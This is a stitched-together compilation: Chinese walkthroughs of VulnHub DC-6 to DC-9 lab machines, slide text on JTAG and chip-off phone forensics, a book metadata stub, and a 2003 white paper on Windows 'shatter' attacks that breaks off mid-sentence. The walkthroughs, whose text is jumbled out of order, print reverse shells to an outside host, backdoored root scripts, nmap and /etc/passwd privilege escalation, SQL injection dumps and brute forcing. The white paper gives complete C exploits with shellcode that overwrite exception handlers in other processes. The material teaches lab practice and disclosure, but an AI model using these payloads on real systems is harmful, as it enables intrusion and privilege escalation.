https://www.vulnhub.com/entry/dc-6,315/ 渗透思路: 信息收集:主机发现和端口扫描 漏洞利用:Activity Monitor远程命令执行(Wordpress插件, CVE-2018-15877 ) 权限提升:nmap提权 信息收集 使用 netdiscover 命令,发现主机IP为 192.168.203.132 这套靶机是要修改host文件的,具体可以参看我写的DC-2这篇文章。 因为做靶机做的习惯了,上来直接就看80端口,正好看到需要修改host文件,就直接修改了。 从扫描的结果来看,目标机器开放了22端口和80端口,80端口的web服务是一个Wordpress站点,并 且还扫出了一些用户名。 漏洞利用 日wpscan的站点,当然要使用wpscan了,但是我利用这两条命令,都没能扫出可用漏洞 那剩下的思路就应该是密码爆破了。 来到DC-6的网站看一下,发现一条提示: 我们需要利用此命令生成一个词典: 进行爆破: nmap -sV -A 192.168.203.132 --script=vuln | Username found: admin | Username found: graham | Username found: mark | Username found: sarah | Username found: jens wpscan --url http://wordy/ -e vt   扫描主题的漏洞 wpscan --url http://wordy/ -e vp   扫描插件的漏洞 cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt 最终得到了一个账户和密码: 登录后台 一番查看之后,发现此用户的权限并不高。但是,发现了一个有趣的插件 activity monitor 将此插件拿去百度搜了一下,发现此插件存在漏洞( CVE-2018-15877 )。不清楚wpscan为什么扫不 出来呢? 找到如下位置,然后写IP,点击lookup,抓包。 wpscan --url http://wordy/ --passwords passwords.txt --usernames admin,graham,mark,sarah,jens [i] Valid Combinations Found: | Username: mark, Password: helpdesk01 既然这样那就直接反弹shell吧 权限提升 使用了以下两个命令,都没有特别大的发现。 习惯性的去了 /home 下,在 mark 文件夹下看到了一个文件 things-to-do.txt SSH登录上去 nc 192.168.203.129 7777 -e /bin/bash sudo -l find / -user root -perm -4000 -print 2>/dev/null Things to do: - Restore full functionality for the hyperdrive (need to speak to Jens) - Buy present for Sarah's farewell party - Add new user: graham - GSo7isUM1D4 - done #这是添加了一个用户 - Apply for the OSCP course - Buy new laptop for Sarah's replacement 把这个脚本改一下,使用 jens 账户执行此脚本 现在我们拿到 jens 账户的shell了。 再次 sudo -l 发现我们可以无需root密码执行 nmap 。 nmap可以执行它自己的脚本文件,后缀为 .nse 提权成功,最后 /root 目录找flag即可。 #!/bin/bash nc 192.168.203.129 8888 -e /bin/bash sudo -u jens /home/jens/backups.sh echo 'os.execute("/bin/sh")' > root.nse sudo nmap --script=root.nse # whoami root DC7 靶机下载地址: https://www.vulnhub.com/entry/dc-7,356/ 渗透思路: Drupal8反弹shell,利用主机上带的备份脚本提权 信息收集 因为本靶机在打开的时候,就已给出了IP,所以直接扫描端口即可 看到该站点开放了22端口和80端口,80端口的web服务采用的是 Drupal 的CMS,版本为8 访问了该靶机的站点,给了如下提示: Welcome to DC-7 DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. :-) While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed. What you will have to do, is to think "outside" the box. Way "outside" the box. :-) 在盒子外面思考,也就是告诉我们应该去互联网搜索可利用信息,但是该从何下手呢? 在盒子外面思考,也就是告诉我们应该去互联网搜索可利用信息,但是该从何下手呢? 该CMS的左下角,有一个特别的信息, @DC7USER ,我们去谷歌搜索一下。 nmap -sV -A 192.168.203.133 --script=vuln github源码泄露?? 看样子是的,我们查看一下配置文件 config.php 漏洞利用 我们得到了数据库的账号和秘密,先试试能不能连上ssh。 <?php $servername = "localhost"; $username = "dc7user"; $password = "MdR3xOgB7#dW"; $dbname = "Staff"; $conn = mysqli_connect($servername, $username, $password, $dbname); ?> 第一遍输入的时候,密码输入错了……现在成功登录了ssh。 权限提升 使用命令 sudo -l 它提示我们有一封新邮件。(后来补充: You have new mail in /var/mail/dc7user 其实是计划任 务的结果) 查看该邮件: 根据邮件中的信息,像是root用户计划执行的备份脚本。其中提到了目录 /home/dc7user ,我们去看 一下: 结果又发现了一封邮件: 然后我们再去 backups 目录看下 是两个 gpg 加密的文件(可自行百度gpg是啥),我们想要看文件内容,就必须先解密,但解密是需要 密钥的。 dc7user@dc-7:~$ cat /var/mail/dc7user #关键信息 Database dump saved to /home/dc7user/backups/website.sql               [success] dc7user@dc-7:~$ cat /home/dc7user/mbox #关键信息 Database dump saved to /home/dc7user/backups/website.sql               [success] dc7user@dc-7:~/backups$ ls website.sql.gpg website.tar.gz.gpg 思路往下,我们继续查看实现备份的脚本 /opt/scripts/backups.sh 分析一下,该备份的就是网站数据库文件,也就是说我们没必要去解密gpg,我们可以直接去网站目录 下面看看这些文件。 其次,既然此脚本是root权限执行,那只要将我们反弹shell的命令写入其内,就可以获取一个 rootshell。 我们先来看一下此脚本的运行权限 再来看下当前权限: 很显然,我们无法将反弹shell的命令写入 backups.sh 。 所以,我们需要想办法变成 www-data 用户,该用户呢需要从Web端入手。 另外在脚本中我们还看到了一个命令 drush 。于是,我去百度了一下。 Drush是专门服务于drupal的第三方模块。 其实也就是专门用于管理Drupal的shell,我们可以利用该命令修改admin的密码。 这里报错了,提示我们需要在一个有 Drupal 环境的情况下,运行此命令,所以我们需要跳转到目 录 /var/www/html 。 可以看到执行成功。这样我们就可以登录网站的后台了。 dc7user@dc-7:~/backups$ ls -l /opt/scripts/backups.sh -rwxrwxr-x 1 root www-data 520 Aug 29 23:02 /opt/scripts/backups.sh dc7user@dc-7:~/backups$ whoami dc7user dc7user@dc-7:~$ drush user-password admin --password="admin" Command user-password needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal   [error] environment to run this command. The drush command 'user-password admin' could not be executed.                                               [error] dc7user@dc-7:/var/www/html$ drush user-password admin --password="admin" Changed password for admin                                                               [success] Drupal8反弹shell 出于安全的考虑,php组件已经从Drupal的核心中移除了,但是我们可以在模块中手动安装。 我们需要检查一下是否含有php组件,先创建一个 basic page : 可以看到是没有PHP的,接下来,安装PHP: 1、找到drupal官网中的php组件: https://www.drupal.org/project/php PHP的安装链接为:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 将此链接写入: 点击 Install 安装成功。接下来,启用组件: 现在php组件启用成功。接下来回到 Content : 现在我们就可以写入PHP的代码了。 weevely生成木马 将生成的木马写入,点击 save : root@kali:~# weevely generate hackergu /root/hackergu.php #weevely generate 密码 生成的路径及文件名 weevely连接木马 成功连接,同时我们也看到当前用户为 www-data 。现在我们就可以写入脚本了。 发现weevely里,执行不了命令,还是不太熟悉,那就再反弹个shell吧。 现在我们就可以写入脚本了,但是写进去之后,我等了好久也没见得反弹shell成功…… 看了大佬的思路是要这样写: weevely http://192.168.203.133/node/4 hackergu root@kali:~# weevely http://192.168.203.133/node/4 hackergu weevely> whoami www-data echo "nc 192.168.203.129 7777 -e /bin/bash" >> backups.sh 最终成功提权。 DC8 靶机下载地址: https://www.vulnhub.com/entry/dc-8,367/ 渗透思路: 信息收集:主机发现和端口扫描 漏洞利用:SQL注入+Drupal 反弹shell 权限提升:Exim SUID提权 信息收集 使用 netdiscover ,发现主机IP为 192.168.203.134 。 nmap扫描,目标开放22端口和80端口,web站点是一个 Drupal CMS的站点,版本为7。 漏洞利用 我们访问此站点: 关注点为两个红框,如果点击上面那个红框的内容,url显示为: 倘若点击的是下面的红框,则url显示为: echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.203.129 7777 >/tmp/f" >> backups.sh nmap -T4 -A 192.168.203.134 --script=vuln http://192.168.203.134/node/2 http://192.168.203.134/?nid=2 看到这样的,话不多说,直接测试: 果然存在SQL注入,直接上sqlamp 两个账号手到擒来~~接下来使用 john ,对密码进行破解,只解出来john用户的密码为 turtle 。 GetShell 登录后台,根据DC-7中学到的思路,我们可以添加 basic page sqlmap -u http://192.168.203.134/?nid=2 -D d7db -T users -C name,pass --dump +-------+---------------------------------------------------------+ | name | pass                                                   | +-------+---------------------------------------------------------+ | admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | | john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | +-------+---------------------------------------------------------+ 但是,好像因为john权限不够,无法写入php文件;那就再重新寻找别的出口;最终在 webform 中找到 了突破点: 添加: 那我们该怎么触发呢?发送一封邮件! <?php system("bash -c 'bash -i >& /dev/tcp/192.168.203.129/7777 0>&1' "); ?> 点击submit之后,便拿到了shell 权限提升 利用命令查找suid权限的程序: find / -user root -perm -4000 -print 2>/dev/null 看到了一个 exim4 :Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件。 使用命令查看 exim 的版本号 exim- bV 结果为 -> 4.89 。 再去 searchsploit 里查找EXP(存在一个版本号符合且是本地提权的脚本): 接下来本地起一个web服务,将脚本下载到目标机器的 /tmp 目录下,并 chmod +x 46996.sh 赋权,运 行: 最后提权成功,去 /root 目录拿Flag就行。 DC9 靶机下载地址: https://www.vulnhub.com/entry/dc-9,412/ 渗透思路: 信息收集:主机发现和端口扫描 漏洞利用:SQL盲注、Fuzz系统文件 knockd.conf 暴露隐藏的SSH端口 权限提升: /etc/passwd 写hash提权 dos2unix 46996.sh #win下编写的脚本无法在linux上使用,将文件转化为unix格式 ./46996.sh -m netcat 信息收集 使用 netdiscover 发现主机为 192.168.203.135 nmap扫描结果:目标开放了80端口,22端口显示被过滤掉了。 漏洞利用 在搜索框中尝试寻找sql注入。 可以看出确实存在注入。(网站应该对注入做了一定的过滤,而且还屏蔽了报错) 利用 Sqlmap 进行盲注利用: 最后得到一个账户 admin/transorbital1 sqlmap -u "http://192.168.203.135/results.php" --data="search=123" -D Staff -T Users -C "UserID,Username,Password" --dump GetShell 登录网站。 这里有一个很有意思的地方, File dose not exist ,感觉像是存在本地文件包含: 果然存在本地文件包含。 本来打算还是将一句话写入apache的日志文件进行获取shell,但是靶机的作者,似乎将日志文件给换 位置了。 于是借鉴了大佬的思路: 接下来的思路应该是 fuzz 一些系统文件,如果有一个强大的字典,应该能够发 现 /etc/knockd.conf knockd是一种端口试探服务器工具。 它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。 telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。 可以看到目标果然做了手脚,这也是为什么我们探测的22端口显示是被过虑了。 现在我们需要依次访问7469、8475、9842三个端口,ssh端口就会开放. 现在只有admin的账户,但是从刚才文件包含出来的 /etc/passwd 中来看貌似没有admin的账户,所 以思路不是admin,感觉更像是那些用户,于是我又重新将数据库注入了一次: sqlmap -u "http://192.168.203.135/results.php" --data="search=123" -D users -T UserDetails --dump Database: users Table: UserDetails [17 entries] +----+------------+---------------+---------------------+-----------+----------- + | id | lastname   | password     | reg_date           | username | firstname | +----+------------+---------------+---------------------+-----------+----------- + | 1 | Moe       | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary     | | 2 | Dooley     | 468sfdfsd2   | 2019-12-29 16:58:26 | julied   | Julie     | 接下来利用得到的账号和密码当作字典进行爆破,使用工具 hydra 。 得到了三对账号密码,依次登录切换密码,最终在用户 janitor 的目录下找到了隐藏文件 像是其他用户的密码,我们将这些密码再进行一次爆破。 | 3 | Flintstone | 4sfd87sfd1   | 2019-12-29 16:58:26 | fredf     | Fred     | | 4 | Rubble     | RocksOff     | 2019-12-29 16:58:26 | barneyr   | Barney   | | 5 | Cat       | TC&TheBoyz   | 2019-12-29 16:58:26 | tomc     | Tom       | | 6 | Mouse     | B8m#48sd     | 2019-12-29 16:58:26 | jerrym   | Jerry     | | 7 | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf   | Wilma     | | 8 | Rubble     | BamBam01     | 2019-12-29 16:58:26 | bettyr   | Betty     | | 9 | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler | | 10 | Tribbiani | Passw0rd     | 2019-12-29 16:58:26 | joeyt     | Joey     | | 11 | Green     | yN72#dsd     | 2019-12-29 16:58:26 | rachelg   | Rachel   | | 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross     | | 13 | Geller     | 3248dsds7s   | 2019-12-29 16:58:26 | monicag   | Monica   | | 14 | Buffay     | smellycats   | 2019-12-29 16:58:26 | phoebeb   | Phoebe   | | 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots   | Scooter   | | 16 | Trump     | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald   | | 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott     | +----+------------+---------------+---------------------+-----------+----------- + hydra -L username.txt -P password.txt 192.168.203.135 ssh [22][ssh] host: 192.168.203.135   login: chandlerb   password: UrAG0D! [22][ssh] host: 192.168.203.135   login: janitor   password: Ilovepeepee [22][ssh] host: 192.168.203.135   login: joeyt   password: Passw0rd 权限提升 登录用户 fredf , sudo -l ,发现可以无需root密码执行 /opt/devstuff/dist/test/test 。 test 为可执行文件,我们翻一下目录,看看是否能找到什么其他的线索。 发现了他的源码,看了看用法,大体上可以理解为: 读取第一个参数的内容,然后将参数一的内容写入到参数二的内容中。 于是,我们可以创建一个用户密码,写入到 /etc/passwd 创建一个用户: 写入 /etc/passwd : [22][ssh] host: 192.168.203.135   login: fredf   password: B4-Tru3-001 perl -le 'print crypt("hackergu","salt")' #生成加盐的密码 echo 'admin:saBGghOLaw5vg:0:0::/root:/bin/bash' >> /tmp/passwd 至此,提权成功,去 /root 目录找到Flag。 sudo ./test /tmp/passwd /etc/passwd su admin #切换到新加的用户
pdf
Advanced Mobile Devices Analysis Using JTAG and Chip-off Forensics Ninja Who am I ž  Captain a.k.a Forensics Ninja ž  Research since 2010 ž  Facebook Forensics (2011) on Hakin9 Magazine ž  Mac Memory Forensics (2014) on Digital Forensics Magazine ž  Investigation and Intelligence Framework (2015) on Forensics Focus ž  Advanced Mobile Devices Analysis Using JTAG and Chip-Off (2016) Speaker@ ž  SANS DFIR ž  DefCON 20 ž  HITCON ž  AVTokyo ž  APWG ž  HTCIA ž  VXCON Agenda ž  Introduction to JTAG and Chip Off ž  Analysis on JTAG and eMMC dump ž  Demo Training Course ž  TeelTech Advanced JTAG / Chip-Off Mobile Forensics ž  Cellebrite JTAG Extraction and Decoding ž  H11 JTAG Data Recovery and Mobile Phone Repair ž  XRY Advanced Acquisition Training ž  viaforensics (NowSecure) until 2012 ž  Course Fee around USD4,000 Why JTAG / Chip-Off? ž  Physical vs Logical vs Forensics tools ž  Bricked ž  Locked without debugging mode ž  Damaged ž  Special cases What is JTAG? ž  Joint Test Action Group ž  Test Access Ports (TAPs) to collect raw data from a memory chips ž  Not chip-off and ISP ž  Extreme physical data acquisition ž  Advanced technique ž  Soldering and De-soldering Price lists ž  Source from NowSecure ž  US dollars  JTAG Box JTAG Finder Mounting Frame & Arms BGA (eg 162 or 169)  ž  Ball Grid Array TAP ž  TCK – test clock ž  TMS – test mode state ž  TDI – test data in ž  TDO – test data out ž  TRST – test reset ž  NRST – normal reset ž  RTCK – return clock ž  GND – ground  JTAG Pinout JTAG Molex and Jig Demonstration using Riff Box ž  HTC EVO 3G ž  Android OS Demonstation using Riff Box ž  Lumia 620 ž  Windows 8 OS Acquisition of the Flash Rom Retrieved Data from phone Decoding the Lock Pattern ž  gesture.key ž  20 bytes in length ž  open source tools Gesture.key What is Chip-Off? ž  eMMC chip ž  NAND Flash ž  Disassemble & Re-balling  Heating Machine / Stand eMMC Programmer & Adapters eMMC Box EPR Box & BGA 169e adaptor Demonstration Belkasoft Evidence Center UFED Physical Analyzer HITCON Training (Wish) ž  November 2016 ž  One Day (6 hours) Question? [email protected]
pdf
[ General I nf ormat i on] 书名=代码审计 企业级Web代码安全架构 作者=尹毅编著 页数=230 SS号=13896771 DX号= 出版日期=2016. 01 出版社=北京机械工业出版社
pdf
Copyright Security-Assessment.com Ltd 2003 White Paper Title: Shattering By Example. Prepared by: Brett Moore Network Intrusion Specialist Security-Assessment.com Date: October 2003 03/10/2003 Page 2 of 19 Copyright Security-Assessment.com Ltd 2003 Abstract ‘Shatter attack’ is a term used to describe attacks against the Windows GUI environment that allow a user to inject code into another process through the use of windows messages. This document includes technical examples written in C and is not meant to cover the basics of these attacks. We recommend that the following documents have been read to give an understanding of the background of these attacks. • Shatter Attacks - How to break Windows – Chris Paget http://security.tombom.co.uk/shatter.html • Win32 Message Vulnerabilities Redux - Oliver Lavery http://www.idefense.com/idpapers/Shatter_Redux.pdf Summary Previous shatter attacks have been based on the use of messages that accept a pointer as a parameter. This pointer directs execution flow to data that has been supplied by the attacker, therefore allowing the attacker to have a process execute code of their choice. Several windows message will accept a pointer to a callback function as one of the parameters to the SendMessage API. One of these is LVM_SORTITEMS, as shown below; Message LVM_SORTITEMS Description Uses an application-defined comparison function to sort the items of a list view control. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) LVM_SORTITEMS, // message ID wParam = (WPARAM) (LPARAM) lParamSort; lParam = (LPARAM) (PFNLVCOMPARE) pfnCompare; Parameters lParamSort Application-defined value that is passed to the comparison function. pfnCompare Address of the application-defined comparison function. The comparison function is called during the sort operation each time the order needs to be compared. The attack methods described in this document use messages that at first glance appear safe, but as we will show can be used to write arbitrary values to a process’s memory space leading to command execution. These techniques allow a low level user to overwrite important memory locations in a SYSTEM process such as data structures and structured exception handlers. 03/10/2003 Page 3 of 19 Copyright Security-Assessment.com Ltd 2003 (Rect*) Overwrite Various windows messages accept a pointer to a POINT or RECT structure which will be used to retrieve GDI information about windows. These pointers do not appear to be validated in any way. We will concentrate on the HDM_GETITEMRECT message. Message HDM_GETITEMRECT Description Retrieves the bounding rectangle for a given item in a header control. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) HDM_GETITEMRECT, // message ID (WPARAM) wParam, // = (WPARAM) (int) iIndex; (LPARAM) lParam ); // = (LPARAM) (RECT*) Parameters wParam Zero-based index of the header control item for which to retrieve the bounding rectangle. lParam Pointer to a RECT structure that receives the bounding rectangle information. By passing an arbitrary value as the lParam value, the receiving process will write the resulting RECT data to a memory location of our choosing. For example, if we wanted to overwrite the Unhandled Exception Filter at 0x77EDXXXX we would call SendMessage(hwnd,HDM_GETITEMRECT,0,0x77EDXXXX) To control what is been written to the address we need to look at the format of the receiving structure. For the HDM_GETITEMRECT message a pointer to a RECT structure is passed. Structure RECT Definition typedef struct _RECT { LONG left; LONG top; LONG right; LONG bottom; } RECT, *PRECT; The RECT structure consists of 4 consecutive long values. If we passed the address 0x00024030, the resulting write would look like this. A = Left, B = Top, C = Right, D = Bottom By setting the width of the first column of a Listview control, we are in control of the left value of the second column. We can use the least significant byte of the returned left value, to overwrite memory space byte by byte. If we wanted to write the value 0x58, we would set the width of the first column to 0x58 and then send the HDM_GETITEMRECT. The address specified would be overwritten as; 03/10/2003 Page 4 of 19 Copyright Security-Assessment.com Ltd 2003 By doing one write and then incrementing our write address, we are able to write a string of controlled bytes to a controlled memory location. This location could be program read/write data space, or something application global like TEB/PEB space. This method can be use to write shellcode to a known writeable address. After this, execution flow can be redirected through overwriting the SEH handler with the data address, and then causing an exception. We are able to automate the sizing of the listview columns by sending the LVM_SETCOLUMNWIDTH message. Message LVM_SETCOLUMNWIDTH Description Changes the width of a column in report-view mode or the width of all columns in list-view mode. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) LVM_SETCOLUMNWIDTH, // message ID (WPARAM) wParam, // = (WPARAM) (int) iCol (LPARAM) lParam MAKELPARAM ((int) cx, 0)); Parameters WParam Zero-based index of a valid column. lParam New width of the column, in pixels By passing the byte that we want to write as the lParam parameter to set the size, when HDM_GETITEMRECT is called our byte will be written to our specified memory address. This method has been proven to work against Tab controls as well using the following message pair; TCM_SETITEMSIZE TCM_GETITEMRECT 03/10/2003 Page 5 of 19 Copyright Security-Assessment.com Ltd 2003 (Rect*) Overwrite Example Against The Listview Control /********************************************************** * shatterseh2.c * * Demonstrates the use of listview messages to; * - inject shellcode to known location * - overwrite 4 bytes of a critical memory address * * 3 Variables need to be set for proper execution. * - tWindow is the title of the programs main window * - sehHandler is the critical address to overwrite * - shellcodeaddr is the data space to inject the code * The 'autofind' feature may not work against all programs. * Try it out against any program with a listview. * eg: explorer, IE, any file open dialog * * Brett Moore [ [email protected] ] * www.security-assessment.com **********************************************************/ #include <windows.h> #include <commctrl.h> // Local Cmd Shellcode BYTE exploit[] = "\x90\x68\x63\x6d\x64\x00\x54\xb9\xc3\xaf\x01\x78\xff\xd1\xcc"; long hLVControl,hHdrControl; char tWindow[]="Main Window Title";// The name of the main window long sehHandler = 0x77edXXXX; // Critical Address To Overwrite long shellcodeaddr = 0x0045e000; // Known Writeable Space Or Global Space void doWrite(long tByte,long address); void IterateWindows(long hWnd); int main(int argc, char *argv[]) { long hWnd; HMODULE hMod; DWORD ProcAddr; printf("%% Playing with listview messages\n"); printf("%% [email protected]\n\n"); // Find local procedure address hMod = LoadLibrary("msvcrt.dll"); ProcAddr = (DWORD)GetProcAddress(hMod, "system"); if(ProcAddr != 0) // And put it in our shellcode *(long *)&exploit[8] = ProcAddr; printf("+ Finding %s Window...\n",tWindow); hWnd = FindWindow(NULL,tWindow); if(hWnd == NULL) { printf("+ Couldn't Find %s Window\n",tWindow); 03/10/2003 Page 6 of 19 Copyright Security-Assessment.com Ltd 2003 return 0; } printf("+ Found Main Window At...0x%xh\n",hWnd); IterateWindows(hWnd); printf("+ Not Done...\n"); return 0; } void doWrite(long tByte,long address) { SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH, 0,MAKELPARAM(tByte, 0)); SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address); } void IterateWindows(long hWnd) { long childhWnd,looper; childhWnd = GetNextWindow(hWnd,GW_CHILD); while (childhWnd != NULL) { IterateWindows(childhWnd); childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT); } hLVControl = hWnd; hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0); if(hHdrControl != NULL) { // Found a Listview Window with a Header printf("+ Found listview window..0x%xh\n",hLVControl); printf("+ Found lvheader window..0x%xh\n",hHdrControl); // Inject shellcode to known address printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr); for (looper=0;looper<sizeof(exploit);looper++) doWrite((long) exploit[looper],(shellcodeaddr + looper)); // Overwrite SEH printf("+ Overwriting Top SEH....0x%xh\n",sehHandler); doWrite(((shellcodeaddr) & 0xff),sehHandler); doWrite(((shellcodeaddr >> 8) & 0xff),sehHandler+1); doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2); doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3); // Cause exception printf("+ Forcing Unhandled Exception\n"); SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1); printf("+ Done...\n"); exit(0); } } 03/10/2003 Page 7 of 19 Copyright Security-Assessment.com Ltd 2003 (PBRange*) Overwrite The progress bar control allows for the use of the PBM_GETRANGE message to retrieve the minimum and maximum range. Message PBM_GETRANGE Description Retrieves information about the current high and low limits of a given progress bar control. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) PBM_GETRANGE, // message ID (WPARAM) wParam, // = (WPARAM) (LPARAM) lParam); // = (PPBRANGE) ppBRange; Parameters lParam Pointer to a PBRANGE structure that is to be filled with the high and low limits of the progress bar control. The lParam parameter of this message is not validated before been written to, allowing us to overwrite memory address’s in a similar manner as described in the section above. The pairing message used to set our written byte is PBM_SETRANGE. Message PBM_SETRANGE Description Sets the minimum and maximum values for a progress bar and redraws the bar to reflect the new range. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) PBM_GETRANGE, // message ID (WPARAM) wParam, // = (WPARAM) (LPARAM) lParam // = MAKELPARAM (nMinRange, MaxRange) Parameters lParam Min and Max Range of the progress bar. Under certain circumstances, it may be possible to use this method against the windows installer service, to elevate privileges. In many cases it dumps system rights and runs as the user - but it does quite often run as system. For example with group policy deployed apps - or if install with elevated priveledges is turned on. You could possibly force it to show a progress bar as system by installing an advertised application. In the worst case also by trying to repair a component installed by an admin earlier. - simon 03/10/2003 Page 8 of 19 Copyright Security-Assessment.com Ltd 2003 (Pbrange*) Overwrite Example Against Progress Bars /*************************************************************************** * Progress Control Shatter exploit * * Demonstrates the use of Progress Control messages to; * - inject shellcode to known location * - overwrite 4 bytes of a critical memory address * * 3 Variables need to be set for proper execution. * - tWindow is the title of the programs main window * - sehHandler is the critical address to overwrite * - shellcodeaddr is the data space to inject the code * * Local shellcode loads relevant addresses * Try it out against any program with a progress bar * ****************************************************************************/ #include <windows.h> #include <commctrl.h> #include <stdio.h> // Local Cmd Shellcode. BYTE exploit[] = "\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\x D1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC"; char g_classNameBuf[ 256 ]; char tWindow[]="Checking Disk C:\\";// The name of the main window long sehHandler = 0x7fXXXXXX; // Critical Address To Overwrite long shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space void doWrite(HWND hWnd, long tByte,long address); void IterateWindows(long hWnd); int main(int argc, char *argv[]) { long hWnd; HMODULE hMod; DWORD ProcAddr; printf("%% Playing with progress bar messages\n"); printf("%% [email protected]\n\n"); // Find local procedure address hMod = LoadLibrary("kernel32.dll"); ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA"); if(ProcAddr != 0) // And put it in our shellcode *(long *)&exploit[13] = ProcAddr; hMod = LoadLibrary("msvcrt.dll"); ProcAddr = (DWORD)GetProcAddress(hMod, "system"); if(ProcAddr != 0) // And put it in our shellcode *(long *)&exploit[26] = ProcAddr; printf("+ Finding %s Window...\n",tWindow); 03/10/2003 Page 9 of 19 Copyright Security-Assessment.com Ltd 2003 hWnd = (long)FindWindow(NULL,tWindow); if(hWnd == NULL) { printf("+ Couldn't Find %s Window\n",tWindow); return 0; } printf("+ Found Main Window At...0x%xh\n",hWnd); IterateWindows(hWnd); printf("+ Done...\n"); return 0; } void doWrite(HWND hWnd, long tByte,long address) { SendMessage( hWnd,(UINT) PBM_SETRANGE,0,MAKELPARAM(tByte , 20)); SendMessage( hWnd,(UINT) PBM_GETRANGE,1,address); } void IterateWindows(long hWnd) { long childhWnd,looper; childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD); while (childhWnd != NULL) { IterateWindows(childhWnd); childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT); } GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) ); if ( strcmp(g_classNameBuf, "msctls_progress32") ==0) { // Inject shellcode to known address printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr); for (looper=0;looper<sizeof(exploit);looper++) doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr + looper)); // Overwrite SEH printf("+ Overwriting Top SEH....0x%xh\n",sehHandler); doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler); doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1); doWrite((HWND)hWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2); doWrite((HWND)hWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3); // Cause exception printf("+ Forcing Unhandled Exception\n"); SendMessage((HWND) hWnd,(UINT) PBM_GETRANGE,0,1); printf("+ Done...\n"); exit(0); } } 03/10/2003 Page 10 of 19 Copyright Security-Assessment.com Ltd 2003 Message Pairing As is shown in the examples above, exploitation relies on the use of a pair of messages. The first message is used to set the size or other value to the byte value we want to write. The second is used to retrieve the value set by the first message into a memory address that we want to write to. This method of exploitation relies on the availability of both a T-2 and a T-3 type message pair. For the purpose of this document we will use the following terms to describe how message parameters are handled. • T-1 The message parameters are handled correctly. An example of this is WM_SETTEXT. A pointer is passed to a string value that is adjusted and handled safely by the messaging system. The string is copied to memory space available to the receiving process and the pointer adjusted accordingly. • T-2 The message parameters are passed directly. An example of this is LVM_SETCOLUMNWIDTH where a long value is passed with the message. No pointers are involved. • T-3 The message parameters are handled incorrectly. An example of this is PBM_GETRANGE. A pointer to a structure is passed to either set or receive data. This pointer is used to access the process memory space locally, allowing for the setting / retrieving of arbitrary memory spaces. Shattering The Statusbar Control The following sections will concentrate on using multiple messages to achieve the same results as shown above. This exploit is carried out against the statusbar control using the following messages. • WM_SETTEXT • SB_SETTEXT • SB_GETTEXTLENGTH • SB_SETPARTS • SB_GETPARTS Its explanation is broken down into two sections. • The message pair • The heap brute force 03/10/2003 Page 11 of 19 Copyright Security-Assessment.com Ltd 2003 The Message Pair The statusbar will accept an SB_GETPARTS message that uses a pointer to an integer array as a parameter. Message SB_GETPARTS Description Retrieves a count of the parts in a status window. The message also retrieves the coordinate of the right edge of the specified number of parts. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) SB_GETPARTS, // message ID (WPARAM) wParam, // = (WPARAM) (int) nParts; (LPARAM) lParam // = (LPARAM) (LPINT) aRightCoord; ); Parameters nParts Number of parts for which to retrieve coordinates. If this parameter is greater than the number of parts in the window, the message retrieves coordinates for existing parts only. aRightCoord Pointer to an integer array that has the same number of elements as parts specified by nParts. Each element in the array receives the client coordinate of the right edge of the corresponding part. If an element is set to -1, the position of the right edge for that part extends to the right edge of the window. To retrieve the current number of parts, set this parameter to zero. Following the trend described above the lParam parameter is not validated before been written to, allowing us to use it to overwrite arbitrary memory addresses. This message is a type T-3. The pairing message, used to set the parts width is defined as. Message SB_SETPARTS Description Sets the number of parts in a status window and the coordinate of the right edge of each part. Called As SendMessage( (HWND) hWndControl, // handle to control (UINT) SB_SETPARTS, // message ID (WPARAM) wParam, // = (WPARAM) (int) nParts; (LPARAM) lParam // = (LPARAM) (LPINT) aWidths); Parameters NParts Number of parts to set (cannot be greater 